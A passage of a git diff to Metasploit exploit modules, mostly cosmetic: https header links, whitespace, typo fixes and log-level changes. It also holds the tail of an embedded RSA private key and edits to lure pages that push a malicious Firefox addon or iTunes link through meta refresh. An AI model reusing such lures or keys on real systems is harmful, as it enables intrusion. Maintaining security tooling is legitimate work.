+gFuJq3dN+suzAWQOryCYeC1i6cqfICTbQKV39vjtScdajh8IuUbZ4Hq3SK7M9VW3
+Od8NvjR+Ch691qSNWRf2saWS5MHiaYGF3xWwZokbJWJWmxlQ+Di9QAyRkjDIuMCR
+Sj/vvCa6kWzZlSZWOyNbs38XkWoKXqVYwtnyXrINpZJTAkEA2p0ZrCKQTWBKt7aT
+Rvx/8xnoYu9hSXIG1k11ql0HZdRpmveuZe64Gl6oJtgBZMXNdvAds+gvGTVCSfBO
+c2ne0wJBANBt3t84oicWJpkzXnUBPOZdheKfAK6QO7weXiRmbILTJ5drPdu8pmxR
+c1uQJgYitaSNKglJmz2WNOoaPZz/7zcCQBj8Au8Z5Jsg8pinJsZIvippXGMUCx5W
+LKrHBiIZQqyNTeXTKd/DgsEvY6yq+NhRHsvDq5+IP+Wfr83vk+/u16MCQE1qozz3
+xzMW2yL10qB8zXoivLNCX1bH26xFyzIXaiH2qE4vJZrCabM0MilSzEtr+lMP3GnZ
+gs27cr1aNCRfD7UCQHOXGagsD/ijMGNcWPBQOY3foHzxozoBLGmysAmVz3vX6uyr
+Y7oq9O5vDxwpMOAZ9JYTFuzEoWWg16L6SnNVYU4=
+-----END RSA PRIVATE KEY-----
+EOF
+    end
+end
+
+
diff --git a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb
index 32b6f4b6f0..d7028ecd58 100644
--- a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb
+++ b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb
@@ -1,12 +1,10 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -110,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
     ::IO.select(nil, nil, nil, 0.5)
     disconnect
   end
-
 end
diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb
index 59b272cd43..a9e41d8e1a 100644
--- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb
+++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb
index dd682d141b..16454bdc23 100644
--- a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb
+++ b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -219,5 +219,4 @@ class MetasploitModule < Msf::Exploit::Remote
       'data'		=> data
     })
   end
-
 end
diff --git a/modules/exploits/mainframe/ftp/ftp_jcl_creds.rb b/modules/exploits/mainframe/ftp/ftp_jcl_creds.rb
index 721f5841ec..dc01d5404c 100644
--- a/modules/exploits/mainframe/ftp/ftp_jcl_creds.rb
+++ b/modules/exploits/mainframe/ftp/ftp_jcl_creds.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'msf/core/exploit/tcp'
 
 class MetasploitModule < Msf::Exploit::Remote
@@ -60,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote
         print_status("Found IBM z/OS Banner and JES commands accepted")
         return Exploit::CheckCode::Vulnerable
       else
-        print_status("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!")
+        print_error("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!")
         return Exploit::CheckCode::Detected
       end
 
@@ -84,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     send_cmd(['site', 'file=jes'])
-    print_status("Successfully switched to JES mode")
+    print_good("Successfully switched to JES mode")
 
     jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}"
     print_status("Uploading JCL file: #{jcl_file_name}")
diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb
index 1c3460dd15..135c7efafd 100644
--- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb
+++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -32,6 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
         ],
       'References'          =>
         [
+          ['AKA', '0DayFlush'],
           ['CVE', '2015-5119'],
           ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-03.html'],
           ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'],
diff --git a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb
index 7eb8936ea2..96d7b2572f 100644
--- a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb
+++ b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb
index 42605a7d62..9cc4bae79f 100644
--- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb
+++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb
index 50fabad96b..012cbc12bb 100644
--- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb
+++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote
         Windows Vista SP2 + Firefox 39.0 and Flash 18.0.0.203,
         Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203,
         Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
-        Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203,
+        Windows 7 SP1 (32-bit), IE9 and Adobe Flash 18.0.0.203,
         Windows 7 SP1 (32-bit), Firefox and Adobe Flash 18.0.0.194,
         Windows 8.1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
         windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.203,
diff --git a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb
index baaf02f5a9..fe1b862e92 100644
--- a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb
+++ b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -144,5 +144,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb
index 8e4dd359bc..a90e20029f 100644
--- a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb
+++ b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb
index db5a21c92e..8021370c05 100644
--- a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb
+++ b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb
index 7a8c634768..b0e4043549 100644
--- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb
+++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -142,5 +142,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb
index 3faaefea0b..e5592730e5 100644
--- a/modules/exploits/multi/browser/firefox_escape_retval.rb
+++ b/modules/exploits/multi/browser/firefox_escape_retval.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -218,5 +218,4 @@ EOF
 ^
 
   end
-
 end
diff --git a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb
index 791631d25b..d8563b241a 100644
--- a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb
+++ b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
index 51d73f5aa5..7176ff56ec 100644
--- a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
+++ b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote
         the chrome-based defineProperty method is made available.
 
         With the defineProperty method, functions belonging to window and document can be
-        overriden with a function that gets called from chrome-privileged context. From here,
+        overridden with a function that gets called from chrome-privileged context. From here,
         another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
         into the context's private scope. Since the window does not have a chrome:// URL,
         the insecure parts of Components.classes are not available, so instead the AddonManager
diff --git a/modules/exploits/multi/browser/firefox_proxy_prototype.rb b/modules/exploits/multi/browser/firefox_proxy_prototype.rb
index 2ac0b100c9..a70d27615d 100644
--- a/modules/exploits/multi/browser/firefox_proxy_prototype.rb
+++ b/modules/exploits/multi/browser/firefox_proxy_prototype.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb
index 13d975858d..ad47c66a3e 100644
--- a/modules/exploits/multi/browser/firefox_queryinterface.rb
+++ b/modules/exploits/multi/browser/firefox_queryinterface.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,5 +108,4 @@ function FillHeap() {
 </html>
 EOF
   end
-
 end
diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb
index 22262dde9e..8d7c72194e 100644
--- a/modules/exploits/multi/browser/firefox_svg_plugin.rb
+++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/firefox_tostring_console_injection.rb b/modules/exploits/multi/browser/firefox_tostring_console_injection.rb
index ab9cfba4a4..7071aff4b6 100644
--- a/modules/exploits/multi/browser/firefox_tostring_console_injection.rb
+++ b/modules/exploits/multi/browser/firefox_tostring_console_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/firefox_webidl_injection.rb b/modules/exploits/multi/browser/firefox_webidl_injection.rb
index 563dfa30a0..87485aff2b 100644
--- a/modules/exploits/multi/browser/firefox_webidl_injection.rb
+++ b/modules/exploits/multi/browser/firefox_webidl_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
index 51da172654..19e1716081 100644
--- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
+++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -65,9 +65,9 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def generate_html
-    html  = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
+    html  = %Q|<html><head><title>Loading, Please Wait...</title>\n|
+    html << %Q|<meta http-equiv="refresh" content="0; url=addon.xpi"></head>\n|
     html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
-    html << %Q|<script>window.location.href="addon.xpi";</script>\n|
     html << %Q|</body></html>|
     return html
   end
diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb
index e764736668..40370f7411 100644
--- a/modules/exploits/multi/browser/itms_overflow.rb
+++ b/modules/exploits/multi/browser/itms_overflow.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -99,11 +98,14 @@ class MetasploitModule < Msf::Exploit::Remote
     # Return back an example URL.  Using an iframe doesn't work with all
     # browsers, but that's easy enough to fix if you need to.
     return String(<<-EOS)
-<html><head><title>iTunes loading . . .</title></head>
+<html>
+<head>
+<title>iTunes loading . . .</title>
+<meta http-equiv="refresh" content="0; url='#{itms_base_url}'">
+</head>
 <body>
 <p>iTunes should open automatically, but if it doesn't, click to
 <a href="#{itms_base_url}">continue</a>.</p>
-<script>document.location.assign("#{itms_base_url}");</script>
 </body>
 </html>
 EOS
@@ -124,5 +126,4 @@ EOS
     send_response_html(cli, page, header)
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb
index c765c54079..f197656e52 100644
--- a/modules/exploits/multi/browser/java_atomicreferencearray.rb
+++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -167,6 +167,5 @@ class MetasploitModule < Msf::Exploit::Remote
   def generate_jar()
     return @jar_data
   end
-
 end
 
diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb
index e28976d083..b94ae26bad 100644
--- a/modules/exploits/multi/browser/java_calendar_deserialize.rb
+++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb
index 2d8ac17b9f..50025f8583 100644
--- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb
+++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -223,5 +221,4 @@ EOF
 
     return @jar_data
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_jre17_driver_manager.rb b/modules/exploits/multi/browser/java_jre17_driver_manager.rb
index eb750bf9d4..979c81d26f 100644
--- a/modules/exploits/multi/browser/java_jre17_driver_manager.rb
+++ b/modules/exploits/multi/browser/java_jre17_driver_manager.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -176,5 +176,4 @@ class MetasploitModule < Msf::Exploit::Remote
     |
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_jre17_exec.rb b/modules/exploits/multi/browser/java_jre17_exec.rb
index 75d46f6db4..ac8e3e1e6f 100644
--- a/modules/exploits/multi/browser/java_jre17_exec.rb
+++ b/modules/exploits/multi/browser/java_jre17_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -126,5 +126,4 @@ class MetasploitModule < Msf::Exploit::Remote
     html += "</applet></body></html>"
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb
index 3832cf1631..cb7daccb13 100644
--- a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb
+++ b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -123,5 +123,4 @@ class MetasploitModule < Msf::Exploit::Remote
     html += %Q|</applet></body></html>|
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_jre17_jaxws.rb b/modules/exploits/multi/browser/java_jre17_jaxws.rb
index fa25c8e81d..cea61b7527 100644
--- a/modules/exploits/multi/browser/java_jre17_jaxws.rb
+++ b/modules/exploits/multi/browser/java_jre17_jaxws.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -111,5 +111,4 @@ class MetasploitModule < Msf::Exploit::Remote
     html += "</applet></body></html>"
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean.rb b/modules/exploits/multi/browser/java_jre17_jmxbean.rb
index b7f4037fd8..9321e01074 100644
--- a/modules/exploits/multi/browser/java_jre17_jmxbean.rb
+++ b/modules/exploits/multi/browser/java_jre17_jmxbean.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -124,5 +124,4 @@ class MetasploitModule < Msf::Exploit::Remote
     html += %Q|</applet></body></html>|
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb
index 9ceb3a1d04..b3abf139c4 100644
--- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb
+++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -134,5 +134,4 @@ document.write('<embed object="Exploit.ser" type="application/x-java-applet;vers
     EOF
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb
index 12ecc7c40a..cd9582c326 100644
--- a/modules/exploits/multi/browser/java_jre17_method_handle.rb
+++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -121,5 +121,4 @@ class MetasploitModule < Msf::Exploit::Remote
     html += %Q|</applet></body></html>|
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb
index 5a68e56dbe..a175035d6d 100644
--- a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb
+++ b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -133,5 +133,4 @@ class MetasploitModule < Msf::Exploit::Remote
     |
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_jre17_reflection_types.rb b/modules/exploits/multi/browser/java_jre17_reflection_types.rb
index 21d35e44d7..46e9ac3669 100644
--- a/modules/exploits/multi/browser/java_jre17_reflection_types.rb
+++ b/modules/exploits/multi/browser/java_jre17_reflection_types.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -172,5 +172,4 @@ class MetasploitModule < Msf::Exploit::Remote
     |
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_rhino.rb b/modules/exploits/multi/browser/java_rhino.rb
index 9f0d43c14b..db9e3274ed 100644
--- a/modules/exploits/multi/browser/java_rhino.rb
+++ b/modules/exploits/multi/browser/java_rhino.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -116,5 +116,4 @@ class MetasploitModule < Msf::Exploit::Remote
     html += "</applet></body></html>"
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_rmi_connection_impl.rb b/modules/exploits/multi/browser/java_rmi_connection_impl.rb
index 2e4f398e7a..7c86d282a3 100644
--- a/modules/exploits/multi/browser/java_rmi_connection_impl.rb
+++ b/modules/exploits/multi/browser/java_rmi_connection_impl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -103,5 +103,4 @@ class MetasploitModule < Msf::Exploit::Remote
     html += "</applet></body></html>"
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb
index 11244ad02e..b63015b2ee 100644
--- a/modules/exploits/multi/browser/java_setdifficm_bof.rb
+++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -220,5 +218,4 @@ EOF
 
     return @jar_data
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb
index eb6268ef98..1c0e9c06b1 100644
--- a/modules/exploits/multi/browser/java_signed_applet.rb
+++ b/modules/exploits/multi/browser/java_signed_applet.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb
index 9d14f3ba81..caca994af8 100644
--- a/modules/exploits/multi/browser/java_storeimagearray.rb
+++ b/modules/exploits/multi/browser/java_storeimagearray.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -148,5 +148,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return jar.pack
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_trusted_chain.rb b/modules/exploits/multi/browser/java_trusted_chain.rb
index 2415ab9de5..af0c824e19 100644
--- a/modules/exploits/multi/browser/java_trusted_chain.rb
+++ b/modules/exploits/multi/browser/java_trusted_chain.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -110,5 +110,4 @@ class MetasploitModule < Msf::Exploit::Remote
     html += "</applet></body></html>"
     return html
   end
-
 end
diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb
index b51085f771..124b95a3fb 100644
--- a/modules/exploits/multi/browser/java_verifier_field_access.rb
+++ b/modules/exploits/multi/browser/java_verifier_field_access.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
       'Description'    => %q{
           This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
-        optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent
+        optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient
         type checks. This allows a way to escape the JRE sandbox, and load additional classes
         in order to perform malicious operations.
       },
@@ -166,6 +166,5 @@ class MetasploitModule < Msf::Exploit::Remote
   def generate_jar()
     @jar_data
   end
-
 end
 
diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb
index 6cba699ce2..016b827dad 100644
--- a/modules/exploits/multi/browser/mozilla_compareto.rb
+++ b/modules/exploits/multi/browser/mozilla_compareto.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -134,5 +134,4 @@ class MetasploitModule < Msf::Exploit::Remote
 </html>
     |
   end
-
 end
diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb
index ac82540c7a..6bfd039e49 100644
--- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb
+++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/constants'
+
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb
